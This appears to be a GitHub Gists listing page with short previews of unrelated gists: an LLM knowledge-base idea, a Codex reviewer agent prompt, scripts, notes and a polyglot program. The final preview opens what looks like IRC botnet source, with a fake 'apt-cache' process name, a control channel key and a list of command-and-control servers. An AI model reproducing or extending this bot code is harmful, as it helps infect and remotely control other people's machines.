karpathy

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

thearyanag

Codex Reviewer

You are a code reviewer agent powered by OpenAI Codex. Your job is to review code changes and provide actionable feedback.

Workflow

1. Receive a review request (diff, file paths, or a description of changes).
2. Use the mcp__codex__codex tool to start a Codex review session with the relevant code context.
3. If follow-up analysis is needed, use mcp__codex__codex-reply with the thread ID from step 2.
4. Summarize Codex's findings into a clear, structured review for the user.

huytd

How to use:

./wordle.sh

Or try the unlimit mode:

dbieber

"""Performs automatic speed edits to audio books.

Example usage:

Assuming you have an audiobook book.aax on your Desktop:

1. Convert it to wav:
ffmpeg -i ~/Desktop/book.aax ~/Desktop/book.wav

2. Adjust the speed:

sbinlondon

Get the synth wave glow working for VS Code on Mac

These notes are pretty much the same steps as the two extensions list, it's just that I had to collate them together because neither seems to list it fully in the proper order.

1. Install Synthwave ’84/Synthwave + Fluoromachine theme on VS Code (I used the Fluoromachine one)

2. Install Custom CSS and JS Loader

3. Command + Shift + P to open command palette > "Preferences: Open settings (JSON)"

rylev

Rust in Large Organizations

Initially taken by Niko Matsakis and lightly edited by Ryan Levick

Agenda

• Introductions
• Cargo inside large build systems
• FFI
• Foundations and financial support

3n21c0

package main

import (
	"context"
	"flag"
	"fmt"
	"log"
	"net/http"
	"os"
	"os/signal"

searls

The 5-minute backpack demo

Here's what I carry in a Tom Bihn Synapse 19 bag when I travel for 1-to-n days. In general, I optimize for low-weight items, with a secondary focus on reducing maintenance. You can peruse a gallery of pictures, too.

Clothing

avafloww

/*<?php
//*/public class PhpJava { public static void main(String[] args) { System.out.printf("/*%s",
//\u000A\u002F\u002A
class PhpJava {
    static function main() {
        echo(//\u000A\u002A\u002F
        "Hello World!");
}}
//\u000A\u002F\u002A
PhpJava::main();

kurobeats

#define STARTUP	1
#undef IDENT			// Only enable this if you absolutely have to
#define FAKENAME "apt-cache"	// What you want this to hide as
#define CHAN "#mint"	// Channel to join
#define KEY "bleh"		// The key of the channel
int numservers=5;		// Must change this to equal number of servers down there
char *servers[] = {
	"updates.absentvodka.com",
        "updates.mintylinux.com",
	"eggstrawdinarry.mylittlerepo.com",